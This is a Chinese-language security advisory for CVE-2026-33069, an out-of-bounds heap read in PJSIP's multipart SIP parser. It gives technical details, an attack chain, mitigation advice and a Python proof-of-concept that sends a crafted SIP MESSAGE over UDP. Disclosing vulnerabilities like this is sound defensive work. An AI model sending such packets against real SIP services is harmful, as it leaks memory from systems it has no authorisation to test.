IPBUF安全漏洞报告
English
CVE-2026-33069 CVSS 7.5 高危

CVE-2026-33069 PJSIP堆越界读取漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33069
漏洞类型
堆越界读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PJSIP

相关标签

Heap ReadPJSIPOOBInformation DisclosureSIPCWE-125

漏洞概述

PJSIP是一个用C语言编写的免费开源多媒体通信库。在其2.16及更早版本中,`pjsip_multipart_parse()`函数存在级联越界堆读取漏洞。具体而言,在进行边界字符串匹配操作后,代码将指针`curptr`向前移动越过分隔符,但并未验证该指针是否已经到达缓冲区的末尾。这一缺陷允许攻击者读取相邻堆内存中的1到2个字节。任何处理包含多部分正文或SDP内容的传入SIP消息的应用程序均可能受此漏洞影响。该问题已在2.17版本中修复。

技术细节

漏洞的核心在于PJSIP解析多部分SIP消息时的指针操作缺乏边界检查。当`pjsip_multipart_parse`函数处理包含`multipart`类型的SIP消息时,它会查找并匹配边界字符串以分隔不同的消息部分。在代码逻辑中,一旦检测到边界字符串,程序会更新当前读取指针`curptr`,使其跳过边界字符串指向后续数据。然而,该更新操作未验证`curptr`的新位置是否仍位于已分配的堆缓冲区范围内。如果恶意构造的SIP消息使得边界字符串恰好位于缓冲区末尾,指针更新后将指向缓冲区之外的地址。随后的读取操作将导致越界堆读取,泄露1-2字节相邻内存数据。虽然泄露量有限,但这可能破坏内存隔离,为后续攻击提供信息。该漏洞利用无需认证,通过网络即可触发。

攻击链分析

STEP 1
侦察
攻击者识别网络上使用PJSIP库且版本低于2.17的目标设备(如SIP服务器或软电话)。
STEP 2
构造恶意报文
攻击者构造特制的SIP消息(如INVITE或MESSAGE),包含精心设计的multipart body和边界字符串,旨在解析时触发缓冲区边界条件。
STEP 3
发送恶意数据
攻击者通过UDP或TCP协议将构造好的SIP数据包发送给目标设备的SIP服务端口。
STEP 4
触发漏洞
目标设备调用`pjsip_multipart_parse()`解析消息时,未检查指针边界导致越界读取1-2字节堆内存,造成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 5060 # Malformed SIP MESSAGE to trigger OOB read # The boundary string is crafted to be at the edge of the buffer boundary = "unique-boundary-12345" body_content = "Hello World" # Construct the payload # The vulnerability triggers when parsing the multipart body boundary payload = ( f"MESSAGE sip:test@{TARGET_IP} SIP/2.0\r\n" f"Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-poc\r\n" f"From: <sip:[email protected]>;tag=poc\r\n" f"To: <sip:test@{TARGET_IP}>\r\n" f"Call-ID: poc-call-id\r\n" f"CSeq: 1 MESSAGE\r\n" f"Content-Type: multipart/mixed; boundary={boundary}\r\n" f"Content-Length: {len(body_content) + len(boundary) + 6}\r\n" f"\r\n" f"--{boundary}\r\n" f"Content-Type: text/plain\r\n" f"\r\n" f"{body_content}\r\n" f"--{boundary}" # Truncated ending to potentially hit buffer edge ) # Send the malicious packet try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload.encode('utf-8'), (TARGET_IP, TARGET_PORT)) print(f"[+] PoC packet sent to {TARGET_IP}:{TARGET_PORT}") sock.close() except Exception as e: print(f"[-] Error sending packet: {e}")

影响范围

PJSIP <= 2.16

防御指南

临时缓解措施
如果无法立即升级,建议配置SIP代理服务器或防火墙,严格拦截包含畸形`Content-Type`头部或异常`multipart`主体的数据包。此外,限制对SIP服务的访问仅限于可信的IP地址范围,以减少潜在的攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表